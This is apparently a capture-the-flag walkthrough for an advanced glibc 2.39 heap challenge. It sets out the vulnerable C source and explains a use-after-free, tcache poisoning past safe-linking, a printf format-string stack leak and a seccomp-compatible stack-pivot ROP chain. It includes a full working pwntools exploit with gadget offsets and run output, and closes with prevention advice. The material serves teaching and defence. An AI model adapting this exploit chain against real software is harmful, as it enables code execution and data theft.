

Level 6: Advanced Heap Exploitation

UAF + Tcache Poisoning + printf Leak + Stack-Pivot ROP under Seccomp | x86-64 Linux | Advanced
Binary: `level6_advanced/advanced_heap_patched` | Result: `PWN6{fake_flag_local_test}` (locally verified)

1. What is this Challenge?

This is the **final / most advanced heap level**. The program is a small object manager with four operations: `Create`, `Delete`, `Edit` and `Execute`. Every object is a heap chunk that holds a **function pointer** (`exec`) which `Execute` calls indirectly. There is **no win function** and **no shell** to jump to – the goal is to read `flag.txt` by building a real **ROP chain**.

Unlike the previous levels, a **seccomp sandbox** is installed at startup, so even a classic `system("/bin/sh")` win would be useless. The intended chain is:

1. **Leak libc** with a Use-After-Free on an **unsorted-bin** chunk.
2. **Recover the heap base** from the tcache **safe-linking key** and an encoded `fd`.
3. **Tcache-poison** a live object so its `exec` pointer becomes **printf** – turning `Execute` into a **format-string leak** that reveals a stack address `M`.
4. Plant a heap **ROP chain** that does `open("flag.txt") → read(3, buf, 0x50)`.
5. Final **tcache poisoning straight onto the stack**: the next `malloc` lands exactly on the current `create()` stack frame, so the `name` read overwrites its **saved RBP / return address** with a `pop rsp; ret gadget`. The stack pivot runs the ROP chain and prints the flag.

Environment note. The seccomp filter of the shipped binary allows `close` but **not** `getrandom`. `glibc 2.39` calls `getrandom` during the very first heap allocation to seed the tcache double-free key, so the stock binary dies with **SIGSYS** on the first `Create`. `advanced_heap_patched` swaps the (unused) `close` allowance for `getrandom` – that is the only difference and it is the binary we exploit.

2. Security Settings

Protection	Status	Impact
Stack Canary	OFF	No stack smashing detection
PIE	OFF	Binary addresses are fixed (0x400000 base)
NX	ON	Stack/heap not executable → ROP required
RELRO	Partial	GOT writable (not needed here)
CET (SHSTK / IBT)	ON	ROP must stay within gadget streams that land on <code>endbr64</code>
glibc	2.39	safe-linking ON, <code>__free_hook</code> / <code>__malloc_hook</code> removed
Seccomp sandbox	ON	Whitelist: <code>read</code> , <code>write</code> , <code>open</code> , <code>openat</code> , <code>mmap</code> , <code>mprotect</code> , <code>exit_group</code> , <code>brk</code> , <code>fstat</code> , <code>close</code> (+ <code>getrandom</code> in patched)
Stripped	No	Symbols available in <code>objdump</code> / <code>nm</code>

3. The Source Code

The challenge ships with its C source (`advanced_heap.c`). The relevant logic, keeping the exact sizes, is:

```

typedef struct {
    char name[24];           // offset 0x00: 24 bytes
    void (*exec)(void*);     // offset 0x18: 8 bytes (FUNCTION POINTER)
    char data[128];          // offset 0x20: 128 bytes
} Object;                   // total: 160 bytes == malloc(0xa0) -> chunk 0xb0

Object *objects[16];        // array at 0x404140
int oidx = 0;               // counter at 0x4041c0

void object_exec(void *ptr) {
    Object *o = (Object*)ptr;
    printf("Executing: %s\n", o->name); // prints the chunk's first 24 bytes (leak!)
}

void create() {
    if (oidx >= 16) return;
    objects[oidx] = malloc(sizeof(Object)); // malloc(0xa0)
    if (!objects[oidx]) return;
    objects[oidx]->exec = object_exec;
    printf("Name: "); read(0, objects[oidx]->name, 24); // 24 bytes
    printf("Data: "); read(0, objects[oidx]->data, 128); // 128 bytes
    oidx++;
}

void delete() {
    int i;
    printf("Index: "); scanf("%d", &i);
    if (i < 0 || i >= oidx || !objects[i]) return;
    free(objects[i]);
    // BUG: objects[i] is NOT set to NULL -> dangling pointer (UAF)
}

void edit() {
    int i;
    printf("Index: "); scanf("%d", &i);
    if (i < 0 || i >= oidx || !objects[i]) return;
    printf("Name: "); read(0, objects[i]->name, 24);
    printf("Data: "); read(0, objects[i]->data, 128);
}

void execute() {
    int i;
    printf("Index: "); scanf("%d", &i);
    if (i < 0 || i >= oidx || !objects[i]) return;
    objects[i]->exec(objects[i]); // indirect call -> our primitive
}

```

4. The Vulnerabilities

4.1 Use-After-Free (the root primitive)

`delete()` calls `free(objects[i])` but never clears the array slot. Every slot keeps a **dangling pointer**. Because `Execute` re-reads and prints `o->name` (offset 0x00) and `Edit` still writes into the freed chunk, a freed chunk is simultaneously an **info leak** and a **write primitive**. That is the entire foundation of this exploit.

4.2 Seccomp filter vs. glibc 2.39

`main()` installs a BPF whitelist that permits only a handful of syscalls. glibc 2.39 seeds its tcache key via `getrandom` on the first `malloc()`. Since `getrandom` is missing from the whitelist, the stock `advanced_heap` binary is killed with **SIGSYS** on the first `Create`. The shipped `advanced_heap_patched` binary differs by exactly **one 4-byte value** inside the compiled filter (`0x4040f8`): the `close` syscall number 3 was replaced with `0x13e = 318 = getrandom`. Everything else is identical. The exploit therefore targets the patched binary, and the ROP chain only ever needs `openat`, `read` and `write` – all allowed.

5. Struct Layout and Key Offsets

Offset	Field	Size
0x00	name	24 bytes (leaked / written first)
0x18	exec (fn pointer)	8 bytes <-- TARGET
0x20	data	128 bytes

`malloc(0xa0)` → 160-byte user area → **chunk size 0xb0**, tcache bin index 9. Chunk stride in the heap is `0xb0`. The `exec` pointer sits at user offset `0x18`. `objects[]` is at `0x404140`, `oidx` at `0x4041c0`.

Heap geometry: even with all chunks freed into the tcache, the `tcache_perthread_struct` (`0x290` bytes + `0x10` header) occupies the start of the heap, so the first user chunk is at `user0 = heap_base + 0x2a0` and every subsequent chunk `i` is at `user(i) = user0 + 0xb0*i`. Because `user0` low 12 bits are always `0x2a0`, this value doubles as a magic marker when decoding heap leaks.

6. The Attack Strategy (5 Phases)

Phase 1 — Leak libc and recover the heap

- Create 9 objects (indices 0..8). Object 8 stays allocated and acts as a **barrier**.
- `delete(0)`, `delete(1)`, `delete(2..6)` → the `0xb0` tcache bin (7 slots) is full, `head = chunk 6`.
- `delete(7)` → the 8th free overflows into the **unsorted bin**, whose `fd/bk` point to `main_arena + 0x60`. The UAF lets `Execute(7)` print those bytes via `printf("Executing: %s\n", name)` → **libc base**.
- `Execute(0)` leaks chunk 0's `fd = user0 >> 12` (single chunk in bin, safe-linking with `next = NULL`) → the tcache **page key**.
- `Execute(1)` leaks chunk 1's `fd = (user1 >> 12) ^ user0` → full heap pointer `user0 = fd1 ^ key` (try `key` and `key+1`, check `low12 == 0x2a0`).

Phase 2 — Tcache poisoning → printf as exec → stack leak

- `edit(6)` forges chunk 6's `fd = key6 ^ T1` where `T1 = user8 - 0x20`.
- `edit(7)` (UAF write into the unsorted chunk 7) pre-arms the fake entry at `T1`: `[T1] = user5 ^ (T1 >> 12)`, so after popping `T1` the bin head becomes `user5`.
- `create(9)` pops chunk 6 → `head = T1`. `create(10)` pops `T1` → `head = user5`.
- `create(10)`'s writes land at `T1 = user8 - 0x20`, i.e. they **overlap live object 8**: its `name` becomes the format string `%6$p %7$p %8$p %9$p` and its `exec` becomes `printf`.
- `Execute(8)` now calls `printf(fmt, ...)`. The 6th..9th varargs reveal `r9`, `[rsp+8]` (garbage), `[rsp+16]` = **M** (main's saved RBP, a stack address) and `[rsp+24] = 0x40171a` (the return address back into main). Scanning for a stack-looking value followed by `0x40171a` recovers **M**.

Phase 3 — Heap ROP chain (chain2) at object 9's data

`edit(9)` writes `chain2` into `user6 + 0x20` (object 9's data). The chain: `open(user8, 0)` opens `"flag.txt"` (fd 3), then `read(3, buf, 0x50)` with `buf = user8 + 0x20`, then `pop rbx; pop rbp; ret` sets `rbp = M`, and `pop rdx; leave; ret` sets `rdx = 0x50` and pivots `rsp` onto the stack ROP chain at `M`.

Phase 4 — Place the flag path

`edit(8)` writes `"flag.txt\x00"` into object 8's `name` (= `user8`, the string pointer used by `open`).

Phase 5 — Final tcache poison to the stack → ROP on create(12)'s own frame

- `edit(5)` forges chunk 5's `fd = key5 ^ T` with `T = M - 0x20` (a **stack** address, 16-byte aligned since main's RBP is).
- `create(11)` pops chunk 5 → `head = T`.
- `create(12)` pops `T` → `malloc` returns `M - 0x20`.
- Critical coincidence: when `main` calls `create`, `create`'s own prologue is `push rbp; mov rbp, rsp; push rbp; sub rsp, 8`, so **create(12)'s saved RBP sits exactly at M-0x20 and its return address at M-0x18** – the very memory `malloc` just returned!
- The `name` read (24 bytes at `M-0x20`) overwrites: `[M-0x20] = 0xdeadbeef` (saved RBP), `[M-0x18] = pop rsp; ret` (return address), `[M-0x10] = user6+0x20` (`chain2` address).
- The `data` read (128 bytes at `M`) writes the stack ROP: `[M] = 0` (RBP garbage for the final `leave`), `[M+8] = read`, `[M+16..] = pop rdi; 1; pop rsi; buf; write; pop rdi; 0; _exit`.
- When `create(12)` executes `leave; ret`: `ret` jumps to `pop rsp; ret`, which loads `rsp = user6+0x20` and enters `chain2`. `chain2` reads the flag into `buf` and its final `leave; ret` lands on the stack chain → `write(1, buf, 0x50)` prints **PWN6{fake_flag_local_test}**.

7. The Exploit (exploit.py)

```
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./advanced_heap_patched')
context.log_level = 'info'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

MAIN_ARENA = 0x203ac0
UNSORTED_OFF = MAIN_ARENA + 0x60
CHUNK = 0xb0

POP_RDI = 0x10c08d
POP_RSI = 0x110b7d
POP_RBX = 0x114e6a      # pop rbx; pop rbp; ret
POP_RDX = 0x9828d      # pop rdx; leave; ret (leave pivots via rbp)
POP_RSP = 0x110a82
OPEN = libc.symbols['open']
READ = libc.symbols['read']
WRITE = libc.symbols['write']
PRINTF = libc.symbols['printf']
EXIT = libc.symbols['_exit']

def create(p, name, data):
    assert len(name) == 24 and len(data) == 128
    p.sendlineafter(b'> ', b'1')
    p.sendafter(b'Name: ', name)
```

```

    p.sendafter(b'Data: ', data)

def delete(p, i):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Index: ', str(i).encode())

def edit(p, i, name, data):
    assert len(name) == 24 and len(data) == 128
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'Index: ', str(i).encode())
    p.sendafter(b'Name: ', name)
    p.sendafter(b'Data: ', data)

def execute(p, i):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'Index: ', str(i).encode())

def leak(p, i):
    execute(p, i)
    p.recvuntil(b'Executing: ')
    return u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))

def exploit():
    p = process(['gdb', '-nx', '-batch', '-x', '/tmp/gdbscript.txt',
                '--args', './advanced_heap_patched'])

    for i in range(9):
        create(p, b'A'*24, b'B'*128)

    delete(p, 0)
    delete(p, 1)
    for i in range(2, 7):
        delete(p, i)
    delete(p, 7)

    libc_leak = leak(p, 7)
    libc_base = libc_leak - UNSORTED_OFF
    log.success('libc base = %#x', libc_base)

    key0 = leak(p, 0)
    fd1 = leak(p, 1)
    user0 = None
    for k in (key0, key0 + 1):
        cand = fd1 ^ k
        if cand & 0xfff == 0x2a0:
            user0 = cand
            break
    if user0 is None:
        user0 = (key0 << 12) | 0x2a0
    log.success('user0 = %#x', user0)
    assert (user0 >> 12) == key0

    user = lambda i: user0 + CHUNK*i
    key = lambda i: user(i) >> 12
    user8 = user(8)
    T1 = user8 - 0x20

    # --- phase 2: leak stack M via printf ---
    edit(p, 7, b'J'*24, b'K'*112 + p64(user(5) ^ (T1 >> 12)) + b'K'*8)

```

```

edit(p, 6, p64(key(6) ^ T1) + b'L'*16, b'M'*128)

create(p, b'N'*24, b'O'*128) # obj 9
fmt = b'%6$p %7$p %8$p %9$p\n'.ljust(24, b'\x00')
create(p, b'P'*24, fmt + p64(libc_base + PRINTF) + b'Q'*96) # obj 10

execute(p, 8)
toks = p.recvuntil(b'\n', drop=True).split()
vals = []
for t in toks:
    try:
        vals.append(int(t, 16))
    except ValueError:
        vals.append(0)
log.info('printf leak: %s', [hex(v) for v in vals])

M = None
for i, v in enumerate(vals[:-1]):
    if 0x7f00000000000000 <= v < 0x8000000000000000 and vals[i+1] == 0x40171a:
        M = v
        break
assert M is not None, "stack leak failed"
log.success('stack M = %#x', M)

buf = user8 + 0x20 # object8.data, flag will be read here

# --- phase 3: heap ROP chain2 at object9.data (user6+0x20) ---
chain2 = flat([
    libc_base + POP_RDI, user8,
    libc_base + POP_RSI, 0,
    libc_base + OPEN,
    libc_base + POP_RDI, 3,
    libc_base + POP_RSI, buf,
    libc_base + POP_RBX, 0, M, # rbp = M
    libc_base + POP_RDX, 0x50, # rdx=0x50; leave;ret -> rsp=M -> ret to [M+8]
]).ljust(128, b'\x00')
edit(p, 9, b'Z'*24, chain2)

# --- phase 4: flag path ---
edit(p, 8, b'flag.txt\x00' + b'W'*15, b'X'*128)

# --- phase 5: stack write-part + pivot ---
T = M - 0x20
stack_rop = flat([
    libc_base + READ,
    libc_base + POP_RDI, 1,
    libc_base + POP_RSI, buf,
    libc_base + WRITE,
    libc_base + POP_RDI, 0,
    libc_base + EXIT,
])
stack = b'\x00'*8 + stack_rop # [M]=rbp garbage, [M+8]=READ, ...
name = p64(0xdeadbeef) + p64(libc_base + POP_RSP) + p64(user(6) + 0x20)

edit(p, 5, p64(key(5) ^ T) + b'S'*16, b'T'*128)
create(p, b'U'*24, b'V'*128) # obj 11: pops chunk5, head=T
create(p, name, stack.ljust(128, b'\x00')) # obj 12 -> ROP

flag = p.recvuntil(b'}', timeout=5)

```

```

log.success('FLAG: %s}', flag.decode(errors='replace'))
p.close()

if __name__ == '__main__':
    exploit()

```

Line-by-line explanation

- **Gadget offsets.** `pop rdi; ret=0x10c08d, pop rsi; ret=0x110b7d, pop rbx; pop rbp; ret=0x114e6a, pop rdx; leave; ret=0x9828d, pop rsp; ret=0x110a82` – verified against the local libc. All offsets are added to the leaked libc base at runtime.
- **gdb wrapper.** The process is started under `gdb -batch -x /tmp/gdbscript.txt` with `set disable-randomization on`, which makes every run byte-identical (e.g. `M = 0x7ffffffd900`) and is convenient while debugging. The same exploit also runs fine with a plain `process(...)` (verified).
- **9 creates.** Chunks `user_i = user0 + 0xb0*i`; object 8 is the live barrier that keeps the unsorted chunk 7 from being consolidated during `delete(7)`.
- **delete order.** 7 frees fill the tcache bin, the 8th (chunk 7) goes to the unsorted bin → libc leak. The leaks are read back through the dangling pointers with `Execute` (chunks are never touched by `free` beyond `fd/key`, so `exec` and the name bytes still work).
- **libc base** = unsorted `fd (main_arena+0x60)` minus `0x203b20`. **key0** = `user0>>12` is the tcache page key of the first free; **fd1** = `(user1>>12) ^ user0` hides the full heap pointer. The `0x2a0` low-12 test validates the recovered pointer.
- **Phase 2 poisoning.** `edit(6)` forges `chunk6.fd = T1` so `create(9)`'s malloc pops chunk6 and the bin head becomes T1. `edit(7)` writes into the freed (unsorted) chunk 7; its `data[112]` (offset `0x70`) lands exactly at `user8-0x20 = T1` and stores the correctly encoded next pointer `user5 ^ (T1>>12)`, so popping T1 in `create(10)` yields `head = user5`.
- **create(10) overlaps object 8.** malloc returns `T1 = user8-0x20`; the 24-byte name write covers `user8-0x20 .. user8-0x08` (format string), the forced `exec` write lands at `user8-0x08` (harmless) and the 128-byte data write starts exactly at `user8: name =fmt, exec =printf, data =padding`.
- **printf leak.** `Execute(8) ⇒ printf(fmt, obj8)`. In execute's frame (`sub rsp,0x10` after `push rbp`) the varargs 6..9 are `r9, [rsp+8], [rsp+16]=M` (main's RBP), `[rsp+24]=0x40171a` (return into main). M is found as the stack-looking value directly before `0x40171a`.
- **chain2** in `object9.data`: `open("flag.txt") → read(3, buf, 0x50) → set rbp=M → pop rdx; leave; ret` pivots to the stack ROP at M.
- **edit(8)** puts `"flag.txt"` at `user8` (the `rdi` for `open`).
- **Phase 5.** `edit(5)` forges `chunk5.fd = T = M-0x20`; `create(11)` pops chunk5 (`head=T`), `create(12)` pops T. Because main's call to `create(12)` leaves its saved RBP at `M-0x20` and its return address at `M-0x18`, the name write re-purposes them: `ROP=garbage, ret=pop rsp; ret`, and `[M-0x10] = chain2` address. The data write fills `[M..M+0x80)` with the read/write/exit stack chain. `create(12)`'s `leave; ret` then pivots to `chain2 → flag`.
- **Flag read.** The exploit simply waits for the `}` of the flag printed by `write(1, buf, 0x50)`.

8. All Leaks of a Real Run (annotated)

This is a complete, annotated dump of every leak that the exploit extracts during one run (deterministic under gdb with ASLR disabled). Each leak is read back through the dangling pointers with `Execute` – `object_exec` prints the first bytes of the chunk via `printf("Executing: %s\n", name)`, so the raw `%s` output is the little-endian bytes of the freed chunk's `fd/key` field, truncated at the first NUL byte. `Leak()` right-pads them to 8 bytes and re-interprets them as a u64.

#	Step	Decoded value	What it is / how it is derived
1	Execute(7)	0x7ffff7e03b20	Chunk 7 was the 8th free → unsorted bin. Its fd = main_arena + 0x60. libc base = 0x7ffff7e03b20 – 0x203b20 = 0x7ffff7c00000
2	Execute(0)	0x405	Chunk 0 = single entry in the tcache bin, so its fd = user0 >> 12 (safe-linking, next = NULL). This is the tcache page key key0.
3	Execute(1)	0x4056a5	Chunk 1's fd = (user1 >> 12) ^ user0. XOR with the key: 0x4056a5 ^ 0x405 = 0x4052a0 → user0 (low 12 bits == 0x2a0, the magic marker ✓)
4	Execute(8) = printf(fmt)	[0x7fffffffda28, 0x8ffffda28, 0x7fffffff900, 0x40171a]	Format-string leak %6\$p %7\$p %8\$p %9\$p: r9, [rsp+8] (garbage), [rsp+16] = M , [rsp+24] = 0x40171a (return into main).

Derived addresses used by the ROP phase:

Value	Address	Calculation
user0	0x4052a0	fd1 ^ key0 (verified: low12 == 0x2a0)
user8 (live barrier / flag path)	0x405820	user0 + 8·0xb0
T1 (overlap target, phase 2)	0x405800	user8 – 0x20
buf (flag read buffer)	0x405840	user8 + 0x20 (object 8 data)
chain2 (heap ROP)	user6 + 0x20	(user0 + 6·0xb0) + 0x20 = 0x4056e0
T (stack target, phase 5)	0x7fffffffda28	M – 0x20 (16-byte aligned ✓)
libc base	0x7ffff7c00000	unsorted fd – 0x203b20
printf = libc+0x60100	0x7ffff7c60100	written into object 8's exec

9. Address Reference

Symbol / Constant	Address / Value	Note
object_exec()	0x401263	Default handler written to +0x18 on every create
create()	0x401299	malloc(0xa0), writes exec then name/data
delete()	0x4013e8	free() without NULL-ing the slot (UAF)
edit()	0x401492	UAF write primitive
execute()	0x40158f	indirect call objects[i]->exec (primitive)
main()	0x401639	menu loop; return-into-main = 0x40171a (stack leak marker)
objects[]	0x404140	Array of 16 chunk pointers
oidx	0x4041c0	Object counter
Chunk size	0xb0	malloc(0xa0) → tcache bin 0xb0, stride 0xb0
user0 (first chunk)	heap_base + 0x2a0	tcache_perthread_struct (0x290) + 0x10 header
main_arena	libc + 0x203ac0	unsorted bin head at +0x60 = 0x203b20
pop rdi; ret	libc + 0x10c08d	gadget

pop rsi; ret	libc + 0x110b7d	gadget
pop rbx; pop rbp; ret	libc + 0x114e6a	gadget
pop rdx; leave; ret	libc + 0x9828d	gadget (pivot via rbp)
pop rsp; ret	libc + 0x110a82	gadget (pivot to chain2)

10. Expected Output

```
$ python3 exploit.py
[*] '/home/etiennekrein/.../level6_advanced/advanced_heap_patched'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       No PIE (0x400000)
  SHSTK:     Enabled
  IBT:       Enabled
  Stripped:  No
[*] Starting local process '/usr/bin/gdb'
[+] libc leak = 0x7ffff7e03b20 base = 0x7ffff7c00000      <- unsorted fd (main_arena+0x60)
[+] key0 leak = 0x405                                     <- tcache page key (user0>>12)
[+] fd1 leak = 0x4056a5                                  <- (user1>>12) ^ user0
[+] user0 = 0x4052a0                                     <- fd1 ^ key0
[*] printf leak: ['0x7ffffffffffda28', '0x8ffffda28', '0x7ffffffffffd900', '0x40171a']
[+] stack M = 0x7ffffffffffd900
[+] FLAG: Object #12 created
    PWN6{fake_flag_local_test}}
```

(gdb runs with ASLR disabled → identical addresses every run; without the wrapper the leaks are simply different each time and the exploit still succeeds.)

11. Understanding the Heap Internals

tcache bins

glibc keeps up to 7 freed chunks per size class in a thread-local, LIFO singly-linked list. `malloc(0xa0)` maps to the 0xb0 bin. Once the bin is full (7 entries), the next free goes to the **unsorted bin**, whose fd/bk point into `main_arena` – the classic libc leak. The 8th free only stays in the unsorted bin if the following chunk (our barrier object 8) is still allocated; otherwise the consolidator would merge it with top.

safe-linking (glibc >= 2.32)

A freed tcache chunk stores `fd = PROTECT_PTR(&fd, next) = ((&fd)>>12) ^ next` and a random `key` at +8. For the first free (next = NULL) the stored fd is simply `user >> 12` – that is exactly what `Execute(0)` leaks (key0). The second free stores `(user1>>12) ^ user0`, which hides the full heap pointer; XOR-ing with the known key recovers `user0`. Every poison writes `key(target) ^ dest`, never a plain pointer.

The tcache-to-stack poison

`tcache_get()` checks only 16-byte alignment of the returned pointer and clears the key field – there is **no size or ownership check** on the target. The stack is as writable as the heap here, and main's RBP is 16-byte aligned, so `T = M - 0x20` passes the alignment check. This lets `malloc()` return a pointer that collides with `create()`'s own saved RBP / return-address slot, turning the innocent `name` read into a stack overwrite and the function's `leave; ret` into the ROP entry point.

Why gdb?

The exploit launches the target under gdb with `set disable-randomization on`. This is purely a convenience during development (deterministic heap + stack so the phase-2/phase-5 tcache arithmetic and the printf positions can be verified interactively). It is not a requirement – running against the patched binary directly works equally well, since every needed address is derived from the leaks.

12. How to Prevent This Vulnerability

Fix	Why it helps
NULL the pointer after free()	Destroys the dangling pointer; Execute/Edit hit the NULL check and abort
Never write to freed memory	edit() must not reach chunks that are no longer owned
Keep safe-linking on	Forces a heap leak first; raises the bar
Pointer verification	Only accept exec values from a fixed, read-only table
Format-string hardening	Pass the object pointer, not user data, as printf's format argument
AddressSanitizer / MTE	Catches UAF writes and cross-region (heap→stack) writes during development
Seccomp allowlist completeness	Deny-by-default (drop unknown syscalls) instead of a permissive allowlist; block read/write on arbitrary fds if not needed

Walkthrough generated for educational purposes. Only use these techniques on systems you own or have permission to test.